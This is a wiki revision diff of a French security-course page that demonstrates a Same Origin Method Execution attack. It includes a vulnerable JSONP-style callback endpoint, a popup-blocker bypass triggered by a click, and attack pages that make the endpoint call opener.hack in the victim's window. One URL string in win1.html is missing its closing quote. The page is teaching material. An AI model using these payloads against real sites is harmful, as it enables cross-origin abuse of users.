Both sides previous revisionPrevious revisionNext revision | Previous revision |
secres:some [2017/11/23 09:36] – orel | secres:some [2024/03/18 15:06] (current) – external edit 127.0.0.1 |
---|
=== Démonstration === | === Démonstration === |
| |
Soit le site web "victime" http://www.labri.fr/perso/esnard/index.html, qui possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple : | //La démonstration suivante a été mise en oeuvre avec le navigateur Google Chrome.// |
| |
| Considérons le site web du domaine //labri.fr// et en particulier la page http://www.labri.fr/perso/esnard/php/attackme.html... |
| |
| <code html attackme.html> |
| <html> |
| <script> |
| function hello() { |
| document.write("hello world!"); |
| } |
| function hack() { |
| document.write("you hack me!"); |
| } |
| hello(); |
| </script> |
| </html> |
| </code> |
| |
| |
| |
| Par ailleurs, le site possède un callback endpoint vulnérable (typiquement du JSONP ou du Flash). Ici le endpoint vulnérable est juste un programme callback.php (http://www.labri.fr/perso/esnard/php/callback.php), qui prend deux arguments : une fonction de //callback// et un argument (//arg//) à passer à la fonction //callback//. Par exemple : |
| |
* http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre | * http://www.labri.fr/perso/esnard/php/callback.php?callback=window.alert&arg=coucou%20terre |
</code> | </code> |
| |
Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack.html, qui le redirige automatiquement vers le site souhaité... | Imaginons que la victime souhaitant visiter la page http://www.labri.fr/perso/esnard/php/attackme.html y accède en cliquant sur un lien frauduleux http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html, qui le redirige automatiquement vers le site souhaité... |
| |
Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack.html | Page Perso de A. Esnard]] | Par exemple : [[http://aurelien.esnard.emi.u-bordeaux.fr/demo/some-attack/attack-click.html | Page Perso de A. Esnard]] |
| |
(...) | Afin de contourner les popups blocker (celui interne à Google Chrome et/ou les plugins comme AdBlock), ils existent de multiples techniques. La plus simple (même si ce n'est pas discret) consiste à ouvrir le popup après un //click// utilisateur... |
| |
| <code html attack-click.html> |
| <html> |
| <body> |
| <h1> Main Attack Page</h1> |
| <script> |
| function redirect() { |
| window.open("/demo/some-attack/win1.html"); |
| window.location.replace("http://www.labri.fr/perso/esnard/php/attackme.html"); |
| } |
| </script> |
| <button onclick="redirect()">Start</button> |
| </body> |
| </html> |
| </code> |
| |
| |
| <code html win1.html> |
| <html> |
| <body> |
| <h1> Win 1</h1> |
| <p>Redirect to Vulnerable callback page in 3sec!</p> |
| <script> |
| function waitForDOM() { |
| window.location.replace("http://www.labri.fr/perso/esnard/php/callback.php?callback=opener.hack); |
| } |
| setTimeout(waitForDOM,3000); |
| </script> |
| </body> |
| |
| </html> |
| </code> |
| |
| |